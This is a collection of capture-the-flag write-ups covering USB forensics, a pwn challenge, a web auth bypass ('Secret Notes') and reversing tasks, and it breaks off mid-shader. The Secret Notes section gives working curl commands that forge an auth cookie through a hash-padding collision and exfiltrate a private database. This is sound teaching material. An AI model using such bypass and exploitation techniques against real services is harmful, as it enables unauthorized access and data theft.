> This piece of data is captured via USB port, look for the flag transferred through it.>> You can use Wireshark to read the file pcapng.> Download file pcap here:> http://material.wargame.whitehat.vn/challenges/3/For001_61fb3e6d8aa22c75362af02e798331bbf5b73a4b.zip>> Submit WhiteHat{sha1(flag)}> Example: flag = Hello World> sha1("Hello World") = 0a4d55a8d778e5022fab701977c5d840bbc486d0> submit: WhiteHat{0a4d55a8d778e5022fab701977c5d840bbc486d0}> (all hash characters in lowercase)
## Write-up
use Wireshark can export a zip fie, open it we get the flag.
## Other write-ups and resources* [Kole and Associates](https://gospelofmark.ch/whitehat-challenge-03-for001-forensics.html) |
Again the give us the investigation part almost complete, we know that this is a memory dump and, as per the svchost process, that is a windows.
There is also a clue about using volatility, a really useful tool for this kind of challenges, I recommend you to check it out if you don't know it already.
[More](https://blog.kalrong.net/en/2016/12/14/seccon-2016-memory-analysis-forensic-100/) |
# Google CTF 2017 : Exploit 150
**Category:** pwn |**Name:** Inst Prof |**Solves:** 79 / 1998 paticipants |**Description:** Please help test our new compiler micro-service
___## Write-upDespite there wasn't a real attack vector InstProf was a very interesting challenge, because I made a lot of mistakes as always but after a lot of computer meditation I SOLVED it.
## AbstractThis solution doesn't involve ASLR leaking and libc is not used. This solution allocates two pages using code reuse, one page to stack pivot and the other page to execute a shellcode... text pointer dereferencing to bypass ASLR. [exploit.py](/exploit.py)
## Step0: War of information
We were given a x86_64 linux binary, PIE and NX were active, the binary read repeatedly 4 bytes from stdin and executed them as asm bytecode.Below a description of the binary execution:```Read four bytes from stdin (read)Allocate one page (mmap) .. one page = 4096 bytesWrite our four bytes on the allocated page (mov)Set the page executable (mprotect)Execute our four bytes 4096 times in a loop (call rbx)Replay all again```We give input to the program and he evaluates them 4 bytes per 4 bytes, using this vector we have to take full control of the remote server. The funny thing is that the number of asm instructions fitting in only 4 bytes are kind of limited so we will have hack a bit.
## Step42: DEEEEEP dive
Let me describe how the magic happened for me.First, I used unused registers **r13, r14, r15** to create persistence between all different successive evaluations of 4 bytes, these registers allowed us to load a text pointer (**saved_rip**) from the stack **pop r14; push r14**, and then we dereference it to point to a useful code **"inc r14; ret" * offset_to_code_reuse**. Because the binary was packaged with helpful functions like **allocate_page** and **make_page_executable** we pretty much only needed to call them **call r14** to create two pages. Then we fill the two pages, the first with a shellcode and the other with one ROP gadget to ease the call of **make_page_executable**. Once the shellcode is executable we just need to **ret** in it. There is more to the story, for example all instructions are executed 4096 times but every inconvenience seen from the right angle is helpful. It's time for you to read some python [exploit.py](/exploit.py)
This is the instruction use to fill pages with the data we want:
## Tips & ToolsThis section regroups random valuable informations specific to pwning:
- NX: a page can't be executable and writable at the same time- ALSR: some sections of the binary are randomized- PIE: all sections of the binary are randomized- stack pivot: create a fake stack frame to ease ROP chaining- pointer dereferencing: use of registers to resolve runtime offset
Reverse Tools:- GDB: main tool of a linux reverser- pwntools: greatest python library- IDA: most used/complete gui reversing tool- Hopper: best pseudo code- Binary Ninja: most sexy and future mainstream tool- radare2: yoda tool- [ARM NOW](https://github.com/nongiach/arm_now) : easiest/lightest ARM setup- checksec, peda, plasma, afl-fuzz, frida, dynamorio, voltron, lldb, strace, ltrace, qemu, objdump, nm, hexdump, file, angr, manticore, z3, miasm: just check them out
#### PS: Google feel free to send me goodies :)----[@chaign\_c](https://twitter.com/chaign_c) and jet from [HexpressoTeam](http://hexpresso.github.io/) |
# [Google CTF 2017](https://capturetheflag.withgoogle.com) : Secret Notes
**Category:** Miscellaneous**Points:** 180 (dynamic)**Solves:** 61**Difficulty:** Medium**Description:**
> YASCNSS (Yet another secure cloud notes storage solution).> > Hint: pyc> > Challenge running at https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/> > * [NotesApp.apk](./NotesApp.apk)
## writeup
The challenge server URL seems to be a simple web interface(labelled "MemoEye Backup"), the attached `.apk` is probablya client for the service. Maybe getting unauthorized accesssomehow to a specific account leaks confidential information(e.g. the flag).
The challenge had been solved in the great team[OpenToAll](https://ctftime.org/team/9135).The team finished 30th in the competition.
The key step for solving this challenge was found byone of our team members, [vakzz](https://wbowling.info/).
### exploring the challenge
Opening the challenge URL shows a simple registration form:
Registering gives some kind of access token:
The access token seems to be formatted as `aaa-bbb` where`aaa` is the account username (hex encoded), `bbb` is probablysome hash value.
### getting API endpoints
The client app `NotesApp.apk` should contain API endpoint URLsfor interacting with the server. Let us try to extract them.
After decompiling with[jadx - Dex to Java decompiler](https://github.com/skylot/jadx),browsing the source code quickly draws attention tomethod `downloadDb` in class `MainActivity`:
```javapublic class MainActivity extends Activity {
...
public void downloadDb() { final MainActivity parent = this; Volley.newRequestQueue(this).add(new StringRequest(0, getString(R.string.host_url) + "/private", new Listener<String>() { public void onResponse(String response) { try { OutputStream outWriter = new FileOutputStream(new File("/data/data/com.google.notesapp/databases/notes.db")); outWriter.write(Base64.decode(response.getBytes(), 0)); outWriter.flush(); outWriter.close(); parent.populateList(); Toast.makeText(MainActivity.this, "DB downloaded!!!", 0).show(); } catch (Exception e) { Log.e("Mine", e.getStackTrace().toString()); } } }, new ErrorListener() { public void onErrorResponse(VolleyError error) { Log.d("Mine", error.toString()); } }) { public Map<String, String> getHeaders() { SharedPreferences prefs = MainActivity.this.getSharedPreferences(MainActivity.this.getString(R.string.saved_auth), 0); Map<String, String> header = new HashMap(); header.put("cookie", "auth=" + prefs.getString("auth", "")); return header; } }); }
...}```
So in order to get the db stored on the server, the URL `/private`should be requested, authenticated by the cookie `auth`.
Note, that `LoginActivity.register()` uses the URL endpoint `/register`with POST parameter `username` (as hex encoded string).This API call returns the `aaa-bbb` format access token (if success,username must be unique!).
### information leak: server side code
Let us now explore the HTTP headers:
```$ curl https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/ -IHTTP/2 200 x-served-by: index.pydate: Sun, 25 Jun 2017 12:12:41 GMTexpires: Sun, 25 Jun 2017 12:22:41 GMTetag: "HRNRyw"x-cloud-trace-context: b816262e0f5a9cffbfbc8296c9694ddccontent-type: text/htmlserver: Google Frontendcache-control: public, max-age=600content-length: 507age: 3```
Note the `x-served-by: index.py` header. This may mean thatthe service engine is a Python script called `index.py`.If there is a Python script, there may be `.pyc` compiledPython code as well (in particular, that we have the hint above ;) ).
```$ wget https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/index.pyc--2017-06-25 14:16:42-- https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/index.pycResolving notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com... 216.239.38.21, 216.239.32.21, 216.239.34.21, ...Connecting to notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com|216.239.38.21|:443... connected.HTTP request sent, awaiting response... 200 OKLength: unspecified [application/x-python-code]Saving to: 'index.pyc'
index.pyc [ <=> ] 5.77K --.-KB/s in 0.002s
2017-06-25 14:16:42 (3.45 MB/s) - 'index.pyc' saved [5911]```
Great! We have the compiled Python bytecode of the server side code.It would be much more better to have the source, not just the compiledbytecode.
### decompiling Python bytecode
Decompiling is not difficult using e.g.[pycdc](https://github.com/zrax/pycdc):
```$ git clone https://github.com/zrax/pycdcCloning into 'pycdc'...remote: Counting objects: 1185, done.remote: Total 1185 (delta 0), reused 0 (delta 0), pack-reused 1185Receiving objects: 100% (1185/1185), 305.48 KiB | 581.00 KiB/s, done.Resolving deltas: 100% (713/713), done.$ cd pycdc$ cmake ....$ make...$ cd ..$ ./pycdc/pycdc index.pyc > index.py```
Source `index.py` is now available:```python# Source Generated with Decompyle++# File: index.pyc (Python 2.7)
import osimport reimport sysfrom hasher import ZXHashimport webapp2import loggingimport secretsfrom google.appengine.ext import ndbhexre = re.compile('^[a-fA-F0-9]+$')pathre = re.compile('^[\\w_\\-/\\.]+$')
class PrivateNote(ndb.Model): content = ndb.StringProperty() def get_by_user(cls, user): cls.query().filter(cls.user == user).get()
get_by_user = classmethod(get_by_user) def get_by_id(identifier): key = ndb.Key(PrivateNote, identifier) return key.get()
get_by_id = staticmethod(get_by_id)
class Utils(object): def reply(response, code, msg, mime = 'text/html'): response.status = code response.headers.add('X-Served-By', 'index.py') response.content_type = mime response.write(msg)
reply = staticmethod(reply) def parse_urlform(form, delim = ';'): data = form.split(delim) results = dict() for datum in data: try: (key, value) = datum.split('=') results[key.strip()] = value.strip() continue continue continue
return results
parse_urlform = staticmethod(parse_urlform) def get_user(headers, hasher): results = Utils.parse_urlform(headers['cookie']) try: if results['auth']: (user, hmac) = results['auth'].split('-') if hexre.match(user) and hexre.match(hmac) and hasher.hash(user.strip()) == hmac.strip(): return (user.strip(), hmac.strip()) except: pass
return (None, None)
get_user = staticmethod(get_user)
class HealthCheckHandler(webapp2.RequestHandler): def get(self): self.response.status = 200
class ValidateHandler(webapp2.RequestHandler): def get(self): (user, _) = Utils.get_user(self.request.headers, hasher) if not user: return Utils.reply(self.response, 401, 'Bad Authentication') return None.reply(self.response, 200, user)
class PrivateNote(ndb.Model): content = ndb.TextProperty() def get_by_user(cls, user): cls.query().filter(cls.user == user).get()
get_by_user = classmethod(get_by_user) def get_by_id(identifier): key = ndb.Key(PrivateNote, identifier) return key.get()
get_by_id = staticmethod(get_by_id)
class RegisterHandler(webapp2.RequestHandler): def post(self): data = Utils.parse_urlform(self.request.body, '&') value = data['username'] logging.warning('value: [' + str(value) + ']') if len(value) > 64: return Utils.reply(self.response, 400, 'Limit Username to 32 Characters') if None and hexre.match(value): note = PrivateNote.get_by_id(value) logging.warning('note: ' + str(note)) if note: return Utils.reply(self.response, 403, 'User already Exists') hashed = None.hash(value) self.response.status = 200 self.response.headers.add('X-Served-By', 'index.py') self.response.headers.add('Content-Type', 'text/plain') self.response.headers.add('Set-Cookie', 'auth=' + value + '-' + hashed) self.response.write(value + '-' + hashed) PrivateNote(id = value, content = '').put() return None logging.warning('Bad request? ' + str(value)) return Utils.reply(self.response, 400, 'Bad Request!')
class PrivateNoteHandler(webapp2.RequestHandler): def get(self): (user, _) = Utils.get_user(self.request.headers, hasher) if user: note = PrivateNote.get_by_id(user) if note: return Utils.reply(self.response, 200, note.content, 'application/octet-stream') return None.reply(self.response, 404, 'File Not Found') return Utils.reply(self.response, 401, 'Bad Authentication')
def post(self): (user, _) = Utils.get_user(self.request.headers, hasher) if user: if user in locked: return Utils.reply(self.response, 403, 'User is Locked') note = None.get_by_id(user) if not note: note = PrivateNote(id = user) note.content = self.request.body note.put() return Utils.reply(self.response, 200, 'Success') return None.reply(self.response, 401, 'Bad Authentication')
(key1, key2, db) = secrets.get()locked_id = '436f7267316c3076657239393c332121'locked = list()locked.append(locked_id)hasher = ZXHash(key1.encode('hex'), key2)note = PrivateNote.get_by_id(locked_id)if not note: note = PrivateNote(id = locked_id, content = db)else: note.content = dbnote.put()```
The `locked_id` should be the name of the user whoowns the sensitive db (it is `Corg1l0ver99<3!!` hex decoded).
In order to authenticate as `Corg1l0ver99<3!!`, the hashvalue must be known. It is calculated by `hasher.ZXHash`.The class `ZXHash` is initialized with two secret keys,then the method `ZXHash.hash` seems to calculatethe hash value from the username.
So the challenge is to get the hash value of`Corg1l0ver99<3!!` somehow. Btw, if we try to registeras `Corg1l0ver99<3!!`, we could get the hash:
```$ curl https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/register -XPOST -d 'username=436f7267316c3076657239393c332121' User already Exists```
Of course the user exists, and we can not register andcan not get the hash value. Yet. :)
### vulnerable hasher function
Looking at `index.py`, it imports `ZXHash` as`from hasher import ZXHash`. Maybe `hasher.py`is available in the webroot:
```$ wget https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/hasher.py--2017-06-25 15:03:14-- https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/hasher.pyResolving notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com... 216.239.34.21, 216.239.36.21, 216.239.38.21, ...Connecting to notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com|216.239.34.21|:443... connected.HTTP request sent, awaiting response... 404 Not Found2017-06-25 15:03:15 ERROR 404: Not Found.```
404, but do not give it up ;) :```$ wget https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/hasher.pyc--2017-06-25 15:03:42-- https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/hasher.pycResolving notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com... 216.239.32.21, 216.239.34.21, 216.239.36.21, ...Connecting to notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com|216.239.32.21|:443... connected.HTTP request sent, awaiting response... 200 OKLength: unspecified [application/x-python-code]Saving to: 'hasher.pyc'
hasher.pyc [ <=> ] 1.67K --.-KB/s in 0s
2017-06-25 15:03:42 (42.2 MB/s) - 'hasher.pyc' saved [1708]```
Nice, we have the compiled bytecode. Decompiling:```$ ./pycdc/pycdc hasher.pyc > hasher.py```
The source `hasher.py`:```python# Source Generated with Decompyle++# File: hasher.pyc (Python 2.7)
import sysfrom binascii import unhexlify, hexlifyfrom hashlib import md5
def string_to_int(string): out = 0 for c in string: out <<= 8 out |= ord(c) return out
def int_to_string(integer): out = '' while integer > 0: out = chr(integer & 255) + out integer >>= 8 return out
class ZXHash: key1 = None key2 = None def __init__(self, key1, key2): self.key1 = key1 self.key2 = key2
def hash(self, inp): string = self.key1 + inp string = string + (64 - len(string) % 64) * '0' value = int(string, 16) s = 0 while value > 0: s = s ^ value & pow(2, 256) - 1 value = value >> 256 b4 = s & pow(2, 64) - 1 s = s >> 64 b3 = s & pow(2, 64) - 1 s = s >> 64 b2 = s & pow(2, 64) - 1 s = s >> 64 b1 = s & pow(2, 64) - 1 hsh = md5(int_to_string(b4)).digest()[:8] m = string_to_int(hsh) b3 = b3 % m e = pow(self.key2, 128 + b3, m) return hex((b1 ^ b2 ^ e) % m)[2:-1]
```
The `ZXHash.hash` function has a serious collisionvulnerability in the padding (which was found by[vakzz](https://wbowling.info/)):
```pythonstring = string + (64 - len(string) % 64) * '0'```
This means that the hash value of`436f7267316c3076657239393c332121` (length 32)is exactly the same as the hash value of`"436f7267316c3076657239393c332121" + "00"*i`where `0<i<=16`.
### getting the auth hash and the private db
So if we try to register as (probably still unregisteredusers) `436f7267316c3076657239393c33212100`or `436f7267316c3076657239393c3321210000` (etc.), we shallhave the same hash value as the registered`436f7267316c3076657239393c332121`. ;)
```$ curl https:/txzzohwiznk.web.ctfcompetition.com/register -XPOST -d 'username=436f7267316c3076657239393c332121000000000000000000000'436f7267316c3076657239393c332121000000000000000000000-32e77228f277ba31```
Great, the hash value of user `Corg1l0ver99<3!!`leaked: `32e77228f277ba31`. Now getting the db is just a GETrequest to the appropriate API endpoint:
```$ curl https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/private -b 'auth=436f7267316c3076657239393c332121-32e77228f277ba31' | base64 -d > notes.db % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 60867 100 60867 0 0 184k 0 --:--:-- --:--:-- --:--:-- 186k$ file notes.db notes.db: SQLite 3.x database, user version 6, last written using SQLite version 3008002```
Nice, the private `notes.db` file had been stolen.
### getting the flag from the db
Now getting the flag is straightforward:
```$ sqlite3 notes.db SQLite version 3.17.0 2017-02-13 16:02:40Enter ".help" for usage hints.sqlite> .tablesDiff FLAG Notes DiffSet NoteSet android_metadatasqlite> select * from flag;ctf{with_crypt0_d0nt_ro11_with_it}```
|
# [Google CTF 2017](https://capturetheflag.withgoogle.com) : Secret Notes 2
**Category:** Miscellaneous**Points:** 189 (dynamic)**Solves:** 56**Difficulty:** Medium**Description:**
> There is a DIFFerent flag, can you find it?
## writeup
The challenge is a sequel to `Secret Notes`.We have obtained a private db file [notes.db](./notes.db)there which contained a simple flag in a tablecalled `FLAG`. The challenge description here saysthat there should be another flag there, probably inthe same SQLite db.
The challenge had been solved in the great team[OpenToAll](https://ctftime.org/team/9135).The team finished 30th in the competition.
### browsing the db
Exploring the SQLite db `notes.db`:
```$ sqlite3 notes.db SQLite version 3.17.0 2017-02-13 16:02:40Enter ".help" for usage hints.sqlite> .tablesDiff FLAG Notes DiffSet NoteSet android_metadatasqlite> .schema DiffCREATE TABLE Diff (ID INTEGER PRIMARY KEY, Insertion BOOLEAN, IDX INTEGER, Diff STRING(255), DiffSet ID);sqlite> .schema DiffSetCREATE TABLE DiffSet (ID INTEGER PRIMARY KEY, Note STRING(255));```
The challenge description ("DIFFerent") hints us to searchthe flag somewhere near the Diff table.
### understanding Diff
To get familiar with the Diff (and DiffSet) table structure,we may have a look at the client app [NotesApp.apk](./NotesApp.apk),but it is not necessary. The Diff structure can be guessed easily.
The point is that not just the notes get stored, but all thediffs in every editing step. According to the schema, every Diffentry has an ID, an Insertion flag (0 in case of removal, 1in case of addition), an IDX index value (position in the edited string),a Diff string and a DiffSet ID.
DiffSets are described in the DiffSet table with the DiffSet ID anda Note title.
### locating the flag
Looking at the DiffSets:
```sqlite> select * from DiffSet;1|Groceries2|Groceries3|Groceries...36|flag.txt37|flag.txt38|flag.txt...72|flag.txt73|flag.txt74|flag.txt```
So DiffSet IDs `36..74` refer to `flag.txt`. We shouldget the full editing history of note `flag.txt` fromtable `Diff`.
### diff entries
Selecting the Diff entries related to `flag.txt`:
```sqlite> select * from Diff where DiffSet>=36 and DiffSet<=74;98|1|0|cat flag|3699|1|8| one flag two flag|37100|1|26|red flag blue flag|38101|1|45| blue flag|39102|0|36|blue |39103|1|35|sred|39104|1|34|re son|39105|0|31|fl|39106|0|29|d|39...264|1|69| Your flag is not here. |72265|1|87|longer |73266|0|85|t|73267|0|0|And so thus ends the story we have told together. This is the finale. |74```
Quick (manual) intro of the diff mechanism:
Diff ID | operation | position | diff string | note string------- | --------- | -------- | ----------- | -----------98 | addition | 0 | "cat flag" | "cat flag"99 | addition | 8 | " one flag two flag" | "cat flag one flag two flag"100| addition | 26 | "\nred flag blue flag" | "cat flag one flag two flag\nred flag blue flag"101| addition | 45 | " blue flag" | "cat flag one flag two flag\nred flag blue flag blue flag"102| removal | 36 | "blue " | "cat flag one flag two flag\nred flag flag blue flag"103| addition | 35 | "s\nred" | "cat flag one flag two flag\nred flags\nred flag blue flag"104| addition | 34 | "re son" | "cat flag one flag two flag\nred flare songs\nred flag blue flag"105| removal | 31 | "fl" | "cat flag one flag two flag\nred are songs\nred flag blue flag"106| removal | 29 | "d" | "cat flag one flag two flag\nre are songs\nred flag blue flag"
### scripting the diffs
Let us script the Diff reconstruction in order to seethe full history of the `flag.txt` note.
```python#!/usr/bin/python#
import sqlite3
conn = sqlite3.connect('./notes.db')c = conn.cursor()
s = ""
# diffs of flag.txt is in ID range 98..267for i in range(98, 267+1): c.execute('SELECT Insertion, IDX, Diff FROM Diff WHERE ID=%d' % i) (b, idx, diff) = c.fetchone() if b == 1: s = s[:idx] + diff + s[idx:] if b == 0: s = s[:idx] + s[idx+len(diff):] print "---=== ID: %d ===---\n%s" % (i, s) ```
Executing [diff.py](./diff.py) shows the full history of`flag.txt`:
```---=== ID: 98 ===---cat flag---=== ID: 99 ===---cat flag one flag two flag---=== ID: 100 ===---cat flag one flag two flagred flag blue flag---=== ID: 101 ===---cat flag one flag two flagred flag blue flag blue flag---=== ID: 102 ===---cat flag one flag two flagred flag flag blue flag
...
---=== ID: 244 ===---ctfighters, {puZZ1e_As_old_as_t. Ime}---=== ID: 245 ===---ctfighters, {puZZ1e_As_old_as_tIme}---=== ID: 246 ===---ctf{puZZ1e_As_old_as_tIme}---=== ID: 247 ===---ctf{puZZ1e_As_old_as_The finale.tIme}---=== ID: 248 ===---ctf{puZZ1e_As_old_as_inale.tIme}---=== ID: 249 ===---ctf{puZZ1e_As_o thusf{puZZ1e_As_old_as_inale.tIme}
...
---=== ID: 266 ===---And so thuslends the story we have le.1old_As_old_This is the finale} Your flag is no longer here. ---=== ID: 267 ===---Your flag is no longer here. ```
Taking a look at the history, it can be seen thatthe `flag.txt` note at `ID:246` matches the flag format:
```ctf{puZZ1e_As_old_as_tIme}```
|
[writeup by @abiondo]
**CTF:** VolgaCTF 2017 Quals
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** reverse / Transformer
**Points:** 400
```We've got a file that was processed with a binary called transformer. We really need the contents of this file. Can you help?```
We have an unstripped ELF 64-bit Linux binary of something that looks like an encryption application, along with an encrypted file named `ciphertext.zip.enc`.
After loading the binary in IDA, we immediately see it's written in Rust. We also have plenty debug info, which makes it more bearable. Before jumping to reversing, let's play around with it a bit to get a feel for it and maybe make our lives easier.
Executing the program without arguments prints:
```Usage: transformer <input_file> <output_file>```
We try out different input sizes and find a pattern:
| Input size(s) | Output size || ------------- | ----------- || 0...7 | 12 || 8...15 | 20 || 16...23 | 28 |
We suspect a 64-bit block cipher (with always at least one byte of padding) with 4 extra bytes somewhere.
When trying longer inputs we notice part of the plaintext appears unencrypted in the output. Take for example the following input:
```ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz9876543210```
Which produces this output:
```00000000: 37f8 9c55 79c7 e40d ec3f 5c05 e27c e952 7..Uy....?\..|.R00000010: c564 1e78 1f84 f8d5 2551 4e41 595a 3031 .d.x....%QNAYZ0100000020: 3233 3435 03bb 2823 aca5 1d78 23f8 4363 2345..(#...x#.Cc00000030: 8dd7 a1cf c4b8 c116 a26b 35c2 7576 7778 .........k5.uvwx00000040: 797a 3938 1126 fefd 0e22 5b1a f58c 38cf yz98.&..."[...8.00000050: 550c ab30 U..0```
Notice `YZ012345` at offset 0x1C and `uvwxyz98` at offset 0x3C. Those are 64-bit blocks straight from the plaintext! The offset between those two substrings in the plaintext is 32 bytes, and sure enough 0x3C - 0x1C = 32. However, the offset of `YZ012345` from the start of the plaintext is 24 bytes, while the offset of that same block from the start of the ciphertext is 28 bytes, i.e. it looks like those extra 4 bytes might be at the beginning of the ciphertext.
We also notice that multiple runs with the same input produce different outputs each time. There's some randomization involved, and most likely the 4 extra bytes have something to do with it (this later turned out to be true).
To recap, our best guess is: 4 extra bytes at the beginning, 64-bit block cipher, every fourth block is left unencrypted, there's some kind of randomization.
Now that we have some idea of what we're dealing with, let's get to reversing. The actually interesting functions seem to be:
```transformer::main::he40168f1b93e998btransformer::mode::encrypt_crt_ecb::hd9b87ece0c780db7transformer::mode::encrypt_thread::h3e003e4395b60fbdtransformer::rc5::Rc5::encrypt_block::hc307a8b30c5c81e1transformer::rc5::Rc5::new::h30d6eb4c1bfeb265transformer::rc5::data_to_s::he50325ddf278b94d```
[RC5](https://en.wikipedia.org/wiki/RC5) is a block cipher with variable key size, block size and number of rounds, all of which are unknown to us. The block size is twice the word size, which is a tweakable parameter. In our case, with 64-bit blocks, we'd have a 32-bit word size. Also, `encrypt_crt_ecb` could be a misspelling of `encrypt_ctr_ecb`, i.e. counter mode encryption.
Looking at `Rc5::new` we notice some interesting constants:
```.text:7AD0 mov dword ptr [r13+0], 0B7E15163h....text:7B01 add eax, 9E3779B9h```
Those are the RC5 key expansion magic constants for a 32-bit word size, indeed. By comparing to the RC5 algorithm, we reverse `Rc5::new` and `Rc5::encrypt_block` to gain more information about how they're called and on the structures used to maintain context.
`Rc5::new` takes (in order) an RC5 context struct, the number of rounds and the key (in a wrapper struct) as arguments. It initializes the RC5 context through the key expansion algorithm. Due to all the wrappers it wasn't obvious where things came from. We breakpointed on the function and saw that the number of rounds was always 16. We also noticed that two different keys were being used.
`Rc5::encrypt_block` takes (in order) an RC5 context struct (initialized by `Rc5::new`), the higher 32 bits of the plaintext block and the lower 32 bits of the plaintext block. It returns the encrypted 64-bit block.
Those functions are called from `mode::encrypt_thread`. It accepts (amongst other things) two keys and two 32-bit block halves. It creates two RC5 ciphers, one for each key. The first key is used to encrypt the block passed in the arguments. The second key is used to encrypt a block read from an input buffer. Then, the two encrypted blocks are XORed and the result is written to an output buffer.
Helping ourselves with a debugger, we see that the input blocks are our input data and the output blocks are written to the output file. Also, the blocks passed as arguments look like this:
```pt[0] = 0x798d5d19, pt[1] = 0x0pt[0] = 0x798d5d19, pt[1] = 0x1pt[0] = 0x798d5d19, pt[1] = 0x2pt[0] = 0x798d5d19, pt[1] = 0x4pt[0] = 0x798d5d19, pt[1] = 0x5pt[0] = 0x798d5d19, pt[1] = 0x6pt[0] = 0x798d5d19, pt[1] = 0x8...```
That's a counter mode! The high 32-bit half is fixed, while the lower 32-bit half is a counter starting from zero. Notice how every fourth block is skipped, but the counter is still incremented.
The fixed high half matches the first 4 bytes of the output file. It's generated randomly in `mode::encrypt_crt_ecb`.
The only missing piece of the puzzle are the encryption keys. Those are passed in a pretty obvious way from `main` to `mode::encrypt_crt_ecb` (which then hands them over to `mode::encrypt_thread`). They are:
```1st key: A0 93 91 A8 CA 87 39 5C2nd key: 86 5F AF 32 60 95 71 74```
We can finally write a decryption tool (RC5 implementation from [here](https://github.com/tbb/pyRC5/blob/master/RC5.py)):
```python#!/usr/bin/python3
from RC5 import RC5import structimport sys
KEY_1 = bytes.fromhex('A09391A8CA87395C')KEY_2 = bytes.fromhex('865FAF3260957174')
with open(sys.argv[1], 'rb') as f: data = f.read()
ctr_seed = data[:4]blocks = [data[i:i+8] for i in range(4, len(data), 8)]
# 64bit blocks, 16 roundsrc5_1 = RC5(32, 16, KEY_1)rc5_2 = RC5(32, 16, KEY_2)
pt = b''for i in range(len(blocks)): block = blocks[i] if i % 4 == 3: # every fourth block is not encrypted # counter is still advanced block_pt = block else: ctr_pt = ctr_seed + struct.pack('<I', i) ctr_ct = rc5_1.encryptBlock(ctr_pt) block_xor = [block[i] ^ ctr_ct[i] for i in range(8)] block_pt = rc5_2.decryptBlock(block_xor) pt += block_pt
sys.stdout.buffer.write(pt)```
And we get the flag:
```$ ./decrypt.py ciphertext.zip.enc > plaintext.zip
$ file plaintext.zipplaintext.zip: Zip archive data, at least v2.0 to extract
$ unzip plaintext.zip -d plaintextArchive: plaintext.zip inflating: plaintext/plaintext.txt
$ cat plaintext/plaintext.txt This document defines four ciphers with enough detail to ensure interoperability between different implementations. The first cipher is the raw RC5 block cipher. The RC5 cipher takes a fixed size input block and produces a fixed sized output block using a transformation that depends on a key. The second cipher, RC5-CBC, is the Cipher Block Chaining (CBC) mode for RC5. It can process messages whose length is a multiple of the RC5 block size. The third cipher, RC5- CBC-Pad, handles plaintext of any length, though the ciphertext will be longer than the plaintext by at most the size of a single RC5 block. The RC5-CTS cipher is the Cipher Text Stealing mode of RC5, which handles plaintext of any length and the ciphertext length matches the plaintext length.
In the meantime your flag is VolgaCTF{Wh1te_b0x_crypto_i$_not_crYpto}.
The RC5 cipher was invented by Professor Ronald L. Rivest of the Massachusetts Institute of Technology in 1994. It is a very fast and simple algorithm that is parameterized by the block size, the number of rounds, and key length. These parameters can be adjusted to meet different goals for security, performance, and exportability.
RSA Data Security Incorporated has filed a patent application on the RC5 cipher and for trademark protection for RC5, RC5-CBC, RC5-CBC-Pad, RC5-CTS and assorted variations.``` |
**Description**:Challenge This challenge has been solved. Category: Iot/osint/scada Points: 100 Today you received an email that seemed to be from an online shopping site that you use - but when you followed the link something definitely did not seem right. It appears that the world's worst phisher must have set up the page - and has targeted you with a phishing attack!
The email text said you needed to visit a link to update the security of your acccount. However the link actually lead to the site ctf.superpopularonlineshop.com.definitelynotaphishingsite.com
For this challenge you must find the "Real Person" who is behind this attack - leveraging your Open Source Intelligence (OSINT) skills.
The Flag will be found on one of their social profile pages
NOTE: Pen Testing the site will not help - in fact all you need to start the trail is in this email already
**Soultion**:1. Check WHOIS http://ctf.superpopularonlineshop.com.definitelynotaphishingsite.com/2. Google Phone number +44.74419119803. One of the results leads us to https://paste2.org/8LpMBye6 with domain T3M4.COM4. Domain T3M4.COM is a personal blog of T3-M4Haxor. Let’s Google Him!5. Ok, now we have link to his Twitter account https://twitter.com/T3M4haxor6. It took some time where to go next, but if we take a look at his followers we get https://twitter.com/DavikSurik7. Google David Surik and we have his Linkedin account https://www.linkedin.com/in/davik-surik-b04198141/8. He has the only project with description: Proud to have helped with the Trend Micro CTF 2017 - especially Secret Challenge "13" -> GZPGS{SGE0FVAG101}9. GZPGS{SGE0FVAG101} obviously if TMCTF{something}. We have a hint in description Secret Challenge "13"10. And it is ROT13. Go to http://www.rot13.com/ paste, decrypt11. TMCTF{FTR0SINT101} - you are awesome |
# Moon (re, 246p)
> What's the password?
> moon.zip
In this challenge, we were given a Windows binary with a bunch of graphical libraries.I solved the challenge without ever running it fully (not because it was so easy for me,but because it didn't work out of the box on my virtual machine, and I didn't feellike installing missing things). Knowing Gynvael, who created this task, it was likely a demo-like graphical effect with some password to be typed in.
After finding the main function, reversing the main logic was not too hard. The programwas loading a couple of resources from read-only section - some of them being PNGs,some were random-looking hex strings, and there was even a shader program. One of the "random" strings was later decrypted to another shader program (I saw it in debugger). I found it pretty suspicious,so I decided to take a closer look at it:```#version 430layout(local_size_x=8,local_size_y=8) in;layout(std430,binding=0) buffer shaderExchangeProtocol{ uint state[64]; uint hash[64]; uint password[32];};vec3 calc(uint p){ float r=radians(p); float c=cos(r); float s=sin(r); mat3 m=mat3(c,-s,0.0,s,c,0.0,0.0,0.0,1.0); vec3 pt=vec3(1024.0,0.0,0.0); vec3 res=m*pt; res+=vec3(2048.0,2048.0,0.0); return res;}uint extend(uint e){ uint i; uint r=e^0x5f208c26; for (i=15;i<31;i+=3){ uint f=e<<i; r^=f; } return r;}uint hash_alpha(uint p){ vec3 res=calc(p); return extend(uint(res[0]));}uint hash_beta(uint p){ vec3 res=calc(p); return extend(uint(res[1]));}void main(){ uint idx=gl_GlobalInvocationID.x+gl_GlobalInvocationID.y*8; uint final; if (state[idx]!=1){return;} if ((idx&1)==0){ final=hash_alpha(password[idx/2]); } else{ final=hash_beta(password[idx/2]); } uint i; for (i=0;i<32;i+=6){ final^=idx<<i; } uint h=0x5a; for 